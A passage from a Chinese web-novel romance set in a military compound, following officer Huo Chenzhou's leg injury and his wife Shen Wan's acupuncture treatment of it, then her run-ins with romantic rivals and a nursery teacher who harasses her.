霍沉舟脸色煞白，后背靠在岩壁上，下颌线绷得极紧。 顾战敏锐地察觉到他的不对劲："团长，你没事吧？" 霍沉舟摇摇头，额前的碎发已经被冷汗浸湿。 顾战转头怒视梁英：“梁科长，我们团长这条腿旧伤还未愈，现在为了救你，伤上加伤，你满意了吗？” 梁英眼眶微红，看着霍沉舟惨白的脸色，终于意识到事情的严重性。 她低头看了看自己擦破的手肘和扭伤的脚踝，有点委屈道："对不起，我不是故意的。" 她咬着唇想站起来，却因脚踝剧痛又跌坐回去。 霍沉舟深吸一口气，强撑着直起身，现在这种情况，他只能下山了。 他迅速布置好剩余勘察任务，本想安排顾战继续带队，但顾战死活不同意："团长，您这伤必须马上去医院！我送您下山！" 霍沉舟拗不过他，只能同意。 顾战刚要去扶自家团长，就见梁英坐在石头上，脚腕肿得老高，眼圈通红地望着他们。 "你扶她吧。"霍沉舟冷声道，"我能自己走。" 顾战不情不愿地"哦"了一声，转身去搀梁英。 去医院的路上，梁英小声开口："对不起，霍团长，给你添麻烦了。" 霍沉舟：“你知道就好。” 梁英看着霍沉舟冷淡的侧脸，忍不住又辩解道："我也不是故意的嘛，我现在也是伤患……" 霍沉舟无语，不想说话。 等到了医院，顾战还是放心不下："团长，我去叫嫂子来吧！你这腿伤她最清楚了。" 霍沉舟拒绝了：“不用，别让她担心。” 顾战找来了董建林接诊。 董建林仔细检查后，眉头越皱越紧："霍团长，你这旧伤本来就没好利索，现在又严重拉伤，这伤要是再折腾两次，你这腿就别想正常走路了。" 旁边的梁英心情沉重起来，一种难以言表的自责涌上心头，她没想到霍沉舟的腿伤竟然这么严重。 一向对眼泪嗤之以鼻的梁英，此时眼角湿润，一脸自责：“对不起，霍团长，都是为了我，你才伤的这么严重。” 角落里的顾战眼看着霍沉舟没注意他，悄悄溜出了病房。 第七十五章 像只撒娇的大狗一样 霍沉舟不耐烦地拧了拧眉，哭哭哭，就知道哭，一点都比不上他家阿晚。 董建林见梁英哭得梨花带雨，叹了口气道："同志，你也受伤了吧？我给你看看。" 梁英抽噎着伸出手肘和脚踝。 董建林检查后松了口气："骨头没事，就是些皮外伤，抹点药膏就行。" 梁英连忙道："医生，那你赶紧先给霍团长好好治治，他伤得这么重！" 董建林一边给霍沉舟清理伤口，一边解释道："霍团长这是旧伤复发，需要先打一针消炎，再配合热敷和理疗。不过最好还是让沈同志帮忙看看，她扎两针活血化瘀的针灸，比我们这常规治疗见效快。" 梁英听到有人能帮霍沉舟加快恢复，立刻追问："这位沈同志是谁？能不能请他过来帮霍团长看看？" 董建林下意识先看了霍沉舟一眼，见男人闭目养神毫无反应，也很自觉地没多嘴："现在先按常规治疗吧。" 此时的顾战已经回到家属院了，路上遇到了苏琴杉。 对方看见立马拦住他：“阿战，你今天不是上山吗？怎么这么快就回来了？” 顾战脚步不停，推开她："琴杉，我还有急事，等我晚上回家再说！" 但是当她看着顾战往沈晚家里跑去时，心生嫉恨，用力掐住自己掌心。 这些男人一个两个的，都围着那个贱女人转。 正在家里的沈晚突然打了个喷嚏，她揉了揉鼻子，怀疑有人在背后骂她。 沈晚给顾战开的门，见他神色慌张，想到霍沉舟今天说要上山，胸口顿时像被一只无形的手狠狠攥住，连呼吸都滞了一瞬。 她下意识抓住门框："顾营长，是霍沉舟出什么事了吗？" 顾战先点点头，还没等沈晚那口气提上来，他又摇摇头。 沈晚被他这反应弄得心焦："到底出没出事？" "团长为了救梁科长，引发了右腿的旧伤，现在在医院呢。"顾战喘着粗气解释。 "为了救梁科长？" 她脑海里瞬间闪过无数画面——霍沉舟和梁英在山上独处，梁英柔弱跌倒，霍沉舟英雄救美…… 顾战敏锐地察觉到沈晚的情绪变化，赶紧补充："是梁科长非要跟着上山勘察地形，结果脚滑差点摔下山坡，团长是为了救人才……" 沈晚懒得再听下去，回屋抄起针包，随手围了条围巾："走吧。" 一路上顾战还在絮絮叨叨："嫂子，你可千万别多想！今天就算是个小猫小狗，团长也会救的，绝对不是因为梁科长特殊。" "我又没说他们有什么。"沈晚好笑地瞥他一眼，"你这么紧张做什么？" 顾战挠挠头："我这不是怕你误会嘛？" 到了诊室门口，沈晚先看见的是红着眼眶坐在走廊的梁英。 这位平日里英姿飒爽的女军官，此刻头发散乱，倒真像个担心丈夫的小媳妇似的。 梁英看见沈晚，第一反应就是皱眉："顾营长，你找她来干什么？她又治不了霍团长的伤，现在本来就够乱了，就别再找无关人员添乱了。" 沈晚挑了挑眉——看来这位梁科长并不知道她的底细啊。 顾战一听这话，脸都黑了："你胡说什么呢？我们嫂子才是最能治好团长腿伤的人！上次团长受了那么严重的伤，就是嫂子救回来的。" 梁英嗤笑一声，上下打量着沈晚："怎么可能？她不就是个医院的帮工吗，怎么可能懂这么复杂的战伤治疗？" 顾战“呵呵”冷笑两声："你也不出去打听打听，我们嫂子的医术那可是连董院长都佩服的！她亲手配的药膏，整个军区医院都在用，怎么可能就是个普通帮工？" 沈晚听着顾战这么卖力吹捧，都有点不好意思了："低调，低调。" 梁英张了张嘴，那句"怎么可能"卡在喉咙里，她突然想起刚才董院长确实说要找"沈同志"，沈晚沈晚，不就是眼前这个村姑吗？ 她心里没底，只能眼睁睁看着沈晚走进诊室里。 霍沉舟正在闭目养神，右腿的疼痛让他咬住后槽牙，嘴唇发白，神情颓废。 听见门响，他缓缓睁眼，第一眼便撞进那双噙着水光的杏眸里。 沈晚的小脸被围巾裹住大半，只露出那双水灵灵的大眼睛里。 霍沉舟喉结滚动了一下，声音沙哑："阿晚，你怎么来了？" 沈晚站在门口没动："我要是不来，还不知道你要把自己折腾成什么样？" 霍沉舟见她离得那么远，抿了抿苍白的唇，低声道："对不起。" 看着他这幅罕见的脆弱模样，沈晚终究狠不下心再说重话。 她叹了口气，刚走近两步，就被男人猛地拽住手腕把她拉了过来。 霍沉舟把脸埋在她胸口，深深吸了一口气："阿晚，想你了。" 沈晚用掌心轻轻抚过霍沉舟短硬的发茬，算是无声的安慰。 门口的梁英看呆了,这还是冷脸冷语、全身都硬邦邦的霍团长吗？ 此刻竟像个撒娇的大狗般，把脸埋在一个女人怀里蹭来蹭去…… 顾战在一旁捂着眼睛，一副"没眼看"的表情。 梁英垂下眸子，心里涌起一种前所未有的挫败感。 她活了二十多年，头一回体验到这种彻头彻尾的无力，原来再优秀的女人，也敌不过心上人心里装着另一个人的事实。 "好了，"沈晚轻轻推了推霍沉舟的肩膀，"让我看看你的腿。" 霍沉舟这才抬起头，依依不舍地松开手："好。" 沈晚仔细检查了霍沉舟的伤势，右膝旧伤撕裂，伴有严重淤血肿胀，和董院长说的大差不差。 她展开针包，刚打算施针，突然想到门口的梁英，转头对顾战道："顾营长，麻烦把梁科长请出去。" 顾战立刻会意，走到梁英面前做了个"请"的手势。 梁英皱眉："为什么要让我出去？你不是要给霍团长治疗吗？我不能待在这吗？" 沈晚指尖捻着银针，头也不抬道："待会我要给霍沉舟脱裤子施针，你一个未婚女同志，留在这儿看男人脱裤子合适吗？" 第七十六章 什么可爱？你可爱 这话说得直白，梁英顿时涨红了脸。 她就算平日里再不拘小节，此刻也找不到理由继续呆着了，只能尴尬地转身离开病房。 病房门"咔嗒"一声关上，屋内顿时只剩下两人。 沈晚站在病床旁，双手抱臂居高临下地看着霍沉舟："自己把裤子脱了。" 霍沉舟仰头望着她这副冷艳模样，忽然有种奇怪的错觉，仿佛自己正在被这个小女人调教，心尖不禁痒痒的。 "遵命，阿晚。"他哑着嗓子应道，先慢条斯理地踢掉军靴，然后撑着床板艰难地褪下军裤。 受伤的右腿动作不便，他只能放慢速度，让布料一寸寸滑过大腿，露出结实的腿部线条。 沈晚就站在一旁冷眼旁观，丝毫没有要帮忙的意思。 直到霍沉舟终于把裤子完全褪到脚踝，她才上前一步，指尖轻轻划过他膝盖上方的淤青："疼吗？" 霍沉舟轻轻点头："有点。" 沈晚取出银针，在酒精灯上消过毒，指尖在他膝周穴位上按了按，找准位置后利落下针。 银针入体的瞬间，霍沉舟肌肉一绷，忍不住闷哼一声。 "忍着，"沈晚没好气地白他一眼，"英雄救美的时候怎么不喊疼？" 霍沉舟舔了舔干燥的嘴唇，眼底泛起笑意："你又吃醋了？" "没有。"沈晚立马否认。 霍沉舟忍不住抬手捏了捏她气鼓鼓的小脸："真可爱。" 沈晚手上动作一顿，莫名其妙："什么可爱？" "你可爱。"霍沉舟突然仰头，精准地含住她的唇瓣。 这个吻来得猝不及防，男人还恶趣味地轻咬了唇角一下。 沈晚红着脸推开他：“老实点，你还要不要治腿了了？” "治。"霍沉舟笑得像只偷到腥的猫。 门内浓情蜜意，门外却是另一番景象。 梁英坐在椅子上，心里的难过无处释放，她双手突然捂住脸抽泣起来。 顾战看她这幅失魂落魄的模样，有点心软地坐在她身边，轻轻拍了拍她的肩膀："梁科长，你别哭了，不知道的还以为谁欺负你了呢。" 见梁英不说话，顾战挠挠头继续道："哎哟，早就跟你说过了，俺们团长和嫂子感情好着呢。你说你，条件这么好，何必非要在一棵树上吊死？" 梁英抬起泪痕斑驳的脸："我是觉得那个村姑根本配不上霍沉舟！" 顾战："配不配得上，不是单纯由身份决定的。你看嫂子虽然没上过军校，但她医术高明，待人真诚，最重要的是团长喜欢她就够了，这种感情，外人说不清楚的。" 梁英若有所思地没吭声，不知道听没进去。 过了五分钟，董建林匆匆赶来。 他看见顾战站在走廊："沈同志来了吧？" "就在里面呢。"顾战朝诊室努努嘴。 "行，我进去看看。"董院长推开门，眼前的画面让他脚步一顿—— 沈晚正坐在病床边，霍沉舟右腿上扎着银针，却还不安分地用一只胳膊紧紧环着她的腰，男人冷峻的侧脸贴在沈晚腰间，活像只大型犬在撒娇。 "咳！"董建林重重咳嗽一声。 沈晚红着脸去拍霍沉舟的胳膊，谁知这男人脸皮厚得很，假装不懂反而搂得更紧。 沈晚只好狠狠掐了下他胳膊内侧的软肉。 "嘶！"霍沉舟倒吸一口凉气，终于不情不愿地松了手。 董建林憋着笑走到床边："我看看治疗效果。" 他仔细检查后惊讶地挑眉，"淤血散了八成？沈同志这针灸手法真是神了！" 沈晚谦虚地笑了笑："所幸这次的伤并不是太严重。" 董建林搓搓手，眼中闪着求知的光："我这些天一直研究你教我的针法，现在看来自己要学的还有很多。" "董院长过谦了，我下次再教您一套针法。" 董建林求知若渴般连连点头。 沈晚：“董院长，我想请您帮我个忙。” "什么忙？你尽管说！" "能不能帮我找专业人员打造一副银针？"沈晚比划着，"要纯银的，针身细如发丝，针柄缠红丝线，长度分三寸、五寸两种……" 她描述得极为专业，这正是现代沈家祖传的针具规格。 董建林若有所思："这种工艺现在很少见了。" 沈晚点头："我也是考虑到这种手艺普通人肯定做不出来，所以才想到找你帮忙。" 董建林推了推眼镜："这样吧，我认识一个老银匠，姓周，解放前是专门给宫里打造御用针灸针的。现在虽然退休了，但手艺还在。我问问他能不能做。" 沈晚露出感激的神色："谢谢董院长！" 董建林摆摆手："这有什么，我还要感谢你那份冻疮膏的药方呢。现在已经治好了百来个战士的冻疮，人人都夸效果好。你什么时候再研制些别的药方？我们医院都高价收。" 沈晚抿唇一笑："放心吧董院长，等过段时间，我再把家传的舒筋活络贴方子整理出来，专治训练伤和关节痛。" 董建林：“那敢情好。” 两人聊得投入，差点忘了床上还扎着针的霍沉舟。 沈晚想起来后，将他腿上的银针一一取下，霍沉舟试着活动右腿，疼痛果然减轻了大半。 董建林欣慰地点头："我再给你开点消炎药，回家按时吃。" 霍沉舟沉声应道："好。" 董建林刚离开，听到消息的周卫国和孔祥就来了。 孔祥在走廊看见落寞的梁英，有点心疼："英子，听说你受伤了，严不严重？" 梁英勉强扯出个笑容："孔叔，我没事，多亏霍团长救了我。" 霍沉舟看见两位首长进来，刚想撑着站起来敬礼，孔祥就摆手制止："受了伤就别折腾了。" 霍沉舟微微颔首坐了回去。 孔祥打量了一旁的沈晚，眼中闪过一丝诧异，普通女同志面对军区首长，多半会紧张得手足无措，可这姑娘却落落大方地微笑问好："首长好。" "刚才路上听老周说了，"孔祥赞赏地点点头，"你个女娃娃年纪不大，医术倒是了得。" 沈晚不卑不亢地笑了笑："首长过奖了，我就是从小跟着外公学了些皮毛。" 第七十七章 变脸 孔祥默默点头，他总算明白霍沉舟为什么会看不上梁英了，家里藏着这么个又漂亮又有本事的媳妇，换谁眼里还能容得下别人？ 梁英看着孔祥对沈晚赞许的目光，喉咙像被什么堵住了似的。 她不得不承认，在医术这个领域里，自己确实比不上沈晚。 但心底那股不服输的劲儿还在暗暗较劲，若是比军事素养、战术指挥，她梁英绝不会输给任何人。 两位首长离开前，孔祥看了一眼梁英："英子，要不要一起走？" 梁英摇摇头："孔叔，您先走吧。" 等走廊彻底安静下来，沈晚提着水壶出来打水。 刚从水房转身，就看见梁英靠在墙边，正定定地望着她。 沈晚看出她是在等自己，不仅没有视而不见，反而微微一笑："梁科长，有事吗？" 梁英站直身体，下巴微扬："我承认你很漂亮，也并不像我想象中的那么花瓶。但是我并不是输给你，而是输给霍沉舟——他心里有你，所以才看不上我。" 沈晚静静听完。 梁英说完就转身一瘸一拐地走了，她的自尊不允许再留下来听沈晚说些什么胜利者的宣言。 沈晚无奈地摇摇头，提起装满开水的水壶正要回病房，身后突然传来一股大力。 沈晚脚下踉跄，滚烫的水壶剧烈晃动，开水从壶嘴溅出几滴，在她手背上烫出红痕。 这要是整壶开水泼洒出来，怕是半边身子都要烫伤！ 她借力扶住墙壁才勉强站稳，以为是梁英恼羞成怒回来报复，抬头却对上了林怡宁阴冷的笑脸。 林怡宁假惺惺地道歉："真不好意思啊沈同志，刚才我没站稳，不小心撞到你了。你没事吧？" 沈晚还没说话，林怡宁就低头看见她手背上的烫伤，夸张地捂住嘴："哎哟，这怎么烫伤了呀？沈同志，你疼不疼呀？" 沈晚看着她这副做作的模样，冷不丁轻笑一声。 林怡宁被她笑得心里发毛："你笑什么？" "你不是问我烫伤疼不疼吗？"沈晚举起手里的水壶，唇角勾起一抹危险的弧度，"来，你试一下就知道了。" 她说着作势要往林怡宁身上泼，滚烫的水汽从壶口蒸腾而出。 林怡宁脸色煞白，不敢赌沈晚是不是来真的，吓得抱头鼠窜："沈晚！你疯了！" 走廊上顿时鸡飞狗跳——沈晚拎着水壶在后面追，林怡宁抱头在前面跑，滚烫的水珠溅到林怡宁的手上，烫得她嗷嗷直叫："沈晚！你疯了！你这是故意伤害，要坐牢的！" 霍沉舟听到动静快步走出来，看见这一幕眉心猛跳。 他一把拉住沈晚，顺势接过她手里的水壶放在旁边柜子上："干什么呢？这多危险。" 林怡宁见救星来了，立刻梨花带雨地扑过来："沉舟！你都看见了吧？沈晚要拿开水烫我！她要害我！" 她故意把被烫红的手背举到霍沉舟面前，哭得楚楚可怜。 霍沉舟却连看都没看她一眼，低头担心地看着怀里的沈晚：“伤着没有？” 沈晚一直低着头不说话，纤长的睫毛轻轻颤动。 霍沉舟更担心了，温热的大掌捧起她的脸："阿晚，是不是哪里受伤了？给我看看？" 林怡宁在旁边急得直跺脚："沉舟，她没受伤！受伤的是我呀！"她把自己的手背硬凑到霍沉舟眼前，却被对方直接无视。 这时，沈晚终于抬起头，她眼眶泛红，鼻尖微微发粉，唇瓣委屈地抿着，一副似哭非哭的可怜模样。 霍沉舟看得心都要碎了。 "沉舟……"沈晚软软地唤了一声，抬起右手，"手痛痛。" 她本就是冷白皮，此刻手背上那片烫伤红得刺目，边缘已经起了几个小水泡，在白嫩肌肤的衬托下显得格外严重。 霍沉舟呼吸一滞，小心翼翼地托住她的手腕，脸色阴沉得吓人。 旁边的林怡宁看呆了，明明刚才这贱人还凶神恶煞地追着她泼开水，现在居然装得跟朵清纯小白花似的！ "沉舟！你别信她！"林怡宁尖声叫道，"她就是在装！刚才她拿水壶要泼我的样子你都看见了！" 旁边一个小护士实在看不过去，撇嘴道："大家都看见了，明明是你先故意撞了沈同志一下。幸亏沈同志没摔倒，不然那么多开水全洒身上，人都得烫脱一层皮！" "就是！"另一个护士也帮腔，"沈同志才是受害者，林医生你三番五次陷害人家，也太不要脸了。" 围观的病患家属也指指点点："这女医生心肠怎么这么毒？" "听说她爹是卫生局的。" "官二代了不起啊？" 林怡宁被说得脸色一阵青一阵白。 这时霍沉舟冷冷扫了她一眼，那眼神像是淬了冰的刀锋，冻得林怡宁浑身一颤，如坠冰窖。 他拉着沈晚的手径直走向卫生间，打开水龙头让凉水缓缓冲刷她发红的手腕："你受了伤第一时间就该来冲凉水，和她算账的事交给我就行。" 沈晚任由他握着，轻笑道："这点伤我心里有数的，不会留疤。不然我也不会和她掰扯那么久。回家抹点我自制的烫伤膏，保证过两天就恢复得滑溜溜的。" 霍沉舟沉沉地看着她，半晌叹了口气：“我知道你医术好，但我心疼。” 这话听得沈晚心里暖暖的，她忍不住踮起脚尖亲了亲男人的脸颊："知道啦~" 霍沉舟捏了捏她的鼻子，两人从卫生间出来时，走廊上早已不见林怡宁的身影。 回到病房，沈晚一边收拾东西一边问："你要不要在医院住两天观察观察？" "不要！"霍沉舟斩钉截铁地拒绝，"我要回家，而且我没事。" 沈晚说：“行，回家。” 车上，顾战突然问霍沉舟："团长，结婚都需要准备些啥啊？" 霍沉舟被问得一愣，虽然结过一次婚，但那次婚礼是家里仓促安排的，他全程都没怎么操心。 他努力回忆着："好像要准备喜糖、新衣服。最重要的是新房要贴喜字。得是手剪的那种，我妈当年剪了整整一筐。" 第七十八章 发现肚兜 顾战若有所思地点点头。 沈晚好奇地问："顾营长，你要和苏琴杉结婚了吗？我记得你上次不是说彩礼还没谈妥？" 顾战有点不好意思："我们又谈了一次，琴杉跟她家里商量了下，彩礼四百块钱，再加一台蜜蜂牌缝纫机。" 沈晚忍不住咂舌："这可不少啊。" "这些年我存了点，应该够的。"顾战憨厚地笑了笑，"实在不够再借点。" 沈晚意味深长地瞥了眼身旁的霍沉舟。 男人立刻会意，讪讪地摸了摸鼻子，当初他们结婚时，霍家就给了两百块钱彩礼，主要还是因为当时情况紧急。 "顾营长，"沈晚斟酌着提醒，"我觉得这事你还是得慎重考虑。" 顾战却没听懂她的弦外之音："总不能一直拖着不结婚。琴杉都陪我来部队住了这么久，该给她个名分了。" 霍沉舟突然开口："顾战，结婚不是儿戏。你确定苏琴杉是真心想跟你过日子？" 顾战握着方向盘的手紧了紧。 换做从前，他肯定会毫不犹豫地说"我确定"，毕竟他和苏琴杉青梅竹马，自认没人比他更了解她。 可现在，那句肯定的回答却卡在喉咙里。 他不禁想到苏琴杉总是催促他升职加薪的模样，想起她每次要不到钱就甩脸色的神情。 顾战扯了扯唇角："团长，嫂子，你们的好意我知道。放心吧，我心里有数。" 沈晚和霍沉舟在后视镜里交换了个眼神，最终沈晚只是轻轻说了声："好。" 回到大院后，顾战走之前抬头看了眼屋檐下挂着的冰棱子："嫂子，这天儿回暖了，屋檐下的冰溜子得敲下来。之前有人就被掉下来的冰溜子砸了脑袋，缝了三针呢。" 沈晚顺着他的目光看去，果然见到一排尖锐的冰锥悬在屋檐边，她答应道：“行，知道了。” 霍沉舟进屋后径直走向主卧，沈晚皱眉提醒："你房间在那边。" 男人充耳不闻，直接往炕上一躺，脑袋还故意枕在沈晚的枕头上，一副"你能奈我何"的架势。 沈晚冷笑一声，懒得喷。 她抄起门后的长竹竿走到院里，对准屋檐下的冰溜子"啪啪"几下，锋利的冰锥应声而落，在雪地上砸出一个个小坑。 隔壁的赵晓燕闻声："妹子敲冰溜子呢？" "对啊赵姐。我看你家屋檐下也有，等赵大哥回来你也让他敲了，怪危险的。" 赵晓燕满口答应："好嘞好嘞！" 对面的李丽见状不屑地啐了一口："矫情！几根冰溜子，哪有什么危险。" 屋内的霍沉舟躺着躺着，突然想起昨晚瞥见的那抹艳红。 他伸手往枕下一摸，空空如也。 男人眸色一暗，撑起身子打开旁边的炕柜，里面整齐叠放着母子俩的衣物，最上层还放着几件沈晚的贴身小衣。 霍沉舟的指尖不自觉勾起一件藕荷色的衣服，柔软的布料在掌心摩挲，让他脑海里不由自主浮现出沈晚穿着它的模样。 霍沉舟心潮澎湃，强迫自己把衣物放回原处，当他翻到最底层时，终于找到了那块红色布料。 霍沉舟伸手将那件红色小衣拎了出来，伴随着一阵清脆的银铃声，他不解地皱了皱眉，衣服上怎么还缀着铃铛？ 当他完全抖开那件衣物时，就算再木讷也看明白了：这是一件绣着交颈鸳鸯的肚兜，细银链串着小铃铛缀在边缘，腰侧的系带短得几乎遮不住什么。 这种闺房之物，通常是夫妻间用来增添情趣的。 霍沉舟喉结滚动了一下，突然想起昨天赵晓燕来了一趟，再联系沈晚当时红透的耳根，一切都有了解释。 如果沈晚穿上这件肚兜，他呼吸一滞，光是想象那画面，就让他浑身血液都往下腹涌去。 这时门外传来脚步声，霍沉舟迅速将肚兜塞进裤兜，若无其事地躺回炕上。 沈晚推门进来，踢掉鞋子爬上炕，从炕柜里取出那件织好的藏蓝色毛衣。 毛衣针脚细密，领口和袖口都织了精致的螺纹花样，一看就花了不少心思。 "你的毛衣织好了，试试合不合身。" 霍沉舟听话地坐起身，慢条斯理地开始脱衣服，本来留着一件贴身的白色汗衫就行了，结果这男人把上衣全脱了，露出精壮的上身。 块垒分明的八块腹肌随着呼吸微微起伏，胸肌线条流畅有力，让人看了就有一种想捏捏的欲望。 沈晚无语：“你穿件背心再试啊。” 霍沉舟理直气壮："这样试才能试出来合不合适。" 他接过毛衣套上，粗针毛衣被他挺拔的身姿衬得格外有型,硬朗的肩线撑起宽松的版型，粗犷的针织纹路柔和了军人特有的凌厉气质，倒让他多了几分儒雅的书卷气，活像是军区大院里走出来的高干子弟。 沈晚眨了眨眼，一时看得有些出神："好看。" 霍沉舟嘴角微扬："我也觉得好看。" 他将沈晚拉进怀里，毛衣柔软的触感贴着她脸颊，"主要是阿晚织得好。" 沈晚靠在他怀里，起初还享受着男人温暖的拥抱。 可渐渐地，那双不安分的大手就像装了精准雷达，顺着她的衣摆边缘悄悄探入。 粗糙的指腹若有似无地摩挲着她腰间的软肉，带着薄茧的掌心贴着肌肤缓缓上移，每移动一寸都激起一阵细微的战栗。 沈晚忍不住娇嗔一声：“走开啊不要碰我。” 可声音却软绵绵的，一点威慑力没有。 霍沉舟呼吸逐渐粗重，心头涌起一股冲动，他想让怀里的小女人为他穿上那件肚兜。 但这个念头很快被理智压了下去。现在这小女人正羞恼着，肯定不会乖乖同意，得再等等，找个更合适的时机。 "我要去接小川了。" 沈晚拍开他不安分的手，从男人怀里挣脱出来，她整理着被揉乱的衣襟，眼尾还带着未褪的红晕，这副欲拒还迎的模样看得霍沉舟眸色更深。 霍沉舟轻啄了一下她粉嫩的唇瓣：“去吧。” 第七十九章 新来的男老师 等沈晚赶到托儿所时，远远就看见霍小川和申耀祖两个小孩脏兮兮地站在门口。 旁边站着个高高瘦瘦的男老师，戴着黑框眼镜，看上去很斯文。 沈晚心里一紧，快步上前："小川，出什么事了？" 霍小川看见妈妈，下意识想扑过来抱大腿，又低头看看自己满身的泥巴，局促地站在原地："妈妈，对不起。" 沈晚皱眉："为什么道歉？" 这时那位男老师转过身来，当看清沈晚的模样时被惊艳了一下，眼前的女人肌肤如雪，杏眼琼鼻，简单的衣裳穿在她身上都格外好看。 他推了推眼镜，耳根微微发红："您就是霍小川的妈妈？我是新来的保育员，叫马明远。" 沈晚对他礼貌地微微颔首："你好马老师，我是霍小川的妈妈。" 马明远脸上堆笑，语气殷勤："您这么年轻，我乍一看还以为是小川的姐姐呢。" 这话说得有些轻浮，沈晚眉头几不可察地蹙了蹙，但还是保持着礼貌的微笑："马老师，我想问一下我儿子身上怎么这么脏？" 马明远拍了拍两个孩子的肩膀："是申耀祖同学先推了小川一下，把他推倒了。不过霍小川同学很勇敢，当场就反击了。" "反击？"沈晚有些不可思议地看向儿子。 她心里其实有点高兴，平日里唯唯诺诺的霍小川竟然敢反抗了："小川，你真的打架了？" 霍小川点点头：“对不起，妈妈，我不应该打架的。” 沈晚抬起手，霍小川下意识闭上眼睛，预想中的责骂却没有到来。 那只温暖的手只是轻轻揉了揉他的发顶："小川，妈妈教过你，我们不惹事，但也绝不怕事。如果有人欺负你，我们就要勇敢地反击回去，你今天做的很好，不要感到抱歉。" 霍小川重重点头，脸上重新露出笑容。 旁边的申耀祖不服气地哼了一声。 马明远的眼神一直落在沈晚身上，他突然伸出手拍了拍沈晚的肩膀：“霍小川妈妈，今天这事纯属是男孩子比较调皮，咱不用太放在心上。” 他的手一触即离，沈晚甚至没来得及感受到触碰，对方就已经收回手，一副全然为了孩子着想的模样。 沈晚淡淡瞥了他一眼，没有接话。 这时，佟莉娟来了，看见自家儿子灰头土脸的样子，立刻拍着大腿嚷道："哎哟我的乖儿子！这是咋了？谁欺负你了？" 申耀祖立刻指着霍小川告状："就是他！他把我推倒了！妈妈你要替我报仇！" 佟莉娟原本气势汹汹的表情，在看清沈晚和霍小川后又熄火了。 给她一百个胆子，也不敢去招惹霍团长的儿子啊！况且自家儿子什么德行她最清楚，准是又欺负同学反被教训了。 申耀祖见佟莉娟不动弹，急得直掐她的手："你快去啊！快去打他啊！" 佟莉娟尴尬地扯出个笑脸，拽着儿子就要走："儿子，咱先回去吧，妈看你也没受什么伤。" 申耀祖第一反应就是坐在地上撒泼打滚在：“我不要！” 他刚要往地上坐，就被佟莉娟一把捞起来抱在怀里："别在这儿丢人！" 然后几乎是落荒而逃。 等佟莉娟母子俩离开后，马明远再次和沈晚搭话：“等明天我再和申耀祖同学说一下，让他不要随便欺负小朋友。” 沈晚冷淡地点点头，这个男老师黏腻的目光让她浑身不舒服，她牵起霍小川的手转身就走。 马明远盯着沈晚窈窕的背影，眯着眼摸了摸下巴。这时黄莹莹正好从办公室出来，被他叫住："黄老师！" 黄莹莹捋了捋耳边的碎发，脸上泛起羞涩的红晕："马老师有事？" "刚才那位霍小川的妈妈，你认识吗？" 听到沈晚，黄莹莹的笑容淡了几分："哦，她啊，叫沈晚，是师部霍团长老家来的媳妇。听说两人快离婚了，她名声特别差，特别会招蜂引蝶。" 听到沈晚"招蜂引蝶"，马明远的眼睛不禁亮了一下——招蜂引蝶好啊，那就代表她骨子里就是个不安分的。 黄莹莹见马明远不说话，又羞涩地捋了捋头发："马老师，这周末你有空吗？可以陪我去看场电影吗？" 听说这位新来的马老师可不简单，不仅是一个大学生，听说家里有个亲戚还是省教育厅的干部。 他生得斯文白净，桃花眼总是含着笑，在一众糙汉子扎堆的部队大院简直是鹤立鸡群。 托儿所里好几个女老师都对他芳心暗许，她可得抓住机会抢先一步。 马明远扫了眼黄莹莹稚嫩的脸蛋和扁平的身材，和那个风韵十足的沈晚比起来，这丫头简直就是没长开的小豆芽。 他礼貌而疏离地笑了笑："不好意思黄老师，这周末我家里有事。" 黄莹莹失望地"哦"了一声，还不死心："那下周呢？" "再说吧。"马明远没说行，也没说不行，让黄莹莹心里又燃起一丝希望。 回到家，沈晚已经把心里那点异样抛到脑后。 霍沉舟看见儿子脏兮兮的小脸和皱巴巴的衣服，挑了挑眉："打架了？" 霍小川点点头，出乎意料的是，霍沉舟并没有责备他，只是淡淡问了句："打赢了吗？" "还没打完，"霍小川撅着嘴，"老师就把我们分开了。" 霍沉舟揉了揉他的小脑袋："下次要是打不赢，记得来找爸爸。" 沈晚翻了个白眼："霍沉舟你怎么不教儿子点好的？" "必须得让他从小练起来，这样以后我不在的时候，他才能保护好你。" 沈晚一愣，没想到霍沉舟支持儿子打架的原因竟是这个，心里那股暖意像化开的蜜糖一样。 …… 第二天，沈晚去送霍小川，她目睹霍小川进教室，转身刚想走，突然被马明远叫住：“霍小川妈妈”。 沈晚回头看他，那股不适的感觉又涌上心头：“马老师，有事吗？” "霍小川的学籍卡需要补充下家庭信息，能麻烦您来办公室一趟吗？" 沈晚看着对方彬彬有礼的模样，压下心头那丝异样："好。" 第八十章 猥亵未遂反被揍 这间办公室位于走廊尽头，窗户被高大的书架挡住，显得格外昏暗，墙角堆着几摞泛黄的作业本，空气中弥漫着墨水与灰尘混合的气味。 沈晚刚踏进门，马明远就作势要关门。 她伸手抵住门板："还是别关门比较好。" 马明远"哦哦"应了两声，局促地搓了搓手："那你坐会儿，我去拿学籍卡。" 沈晚找了个靠近门口的位置坐了下来。 很快马明远拿着学籍登记表回来了。 他把表格放到沈晚面前，还殷勤地打开一支钢笔："小川妈妈，你填一下这部分信息就行。" 他站在沈晚身后，微微俯身，手臂从她肩侧伸过来指点表格内容，这个姿势让两人距离近得过分。 两人过分亲密的距离被门外的黄莹莹看得一清二楚。 她刚才看见沈晚跟着马明远进了这间偏僻的办公室就觉得不对劲，现在一看，果然是在干见不得人的勾当！ 黄莹莹咬牙切齿地想着："这个沈晚真是个狐狸精！马老师才来几天，她就这么迫不及待地勾引他！" 沈晚感受到身后男人越来越近的呼吸，眸色一冷，突然猛地站起身，后脑勺结结实实地撞上马明远的脸——， "嗷！"马明远发出一声杀猪般的惨叫，捂着鼻子连连后退，"小川妈妈，你这是干什么！" 沈晚转过身，一脸无辜地眨眨眼："真不好意思啦，我刚才突然看见地上有一只大虫子。" 她夸张地拍了拍胸口，"我这人呢，最害怕虫子了。" 马明远疼得眼泪都出来了，慢慢松开手。 沈晚故作惊讶地捂住嘴："哎呀，马老师，你的鼻子流血了！" 鲜血正顺着马明远的下巴滴滴答答往下淌。 沈晚一脸无辜地眨眨眼："马老师，你应该不会怪我吧？我真的不是故意的。" 马明远疼得直抽气，却只能打落牙齿和血吞："没事...没事...我不怪你..." 话音未落，沈晚突然又惊叫一声："哎呀！那虫子爬到你腿上了！我帮你打死！" 马明远还没反应过来，小腿突然传来一阵钻心的剧痛，沈晚精准地踹在他腿上的穴位上，这一脚又快又狠。 "啊！我的腿！"马明远直接跪倒在地，疼得额头直冒冷汗。 沈晚耸耸肩："不好意思，力气使大了。"她嘴上说着抱歉，眼中的讥讽却藏都藏不住。 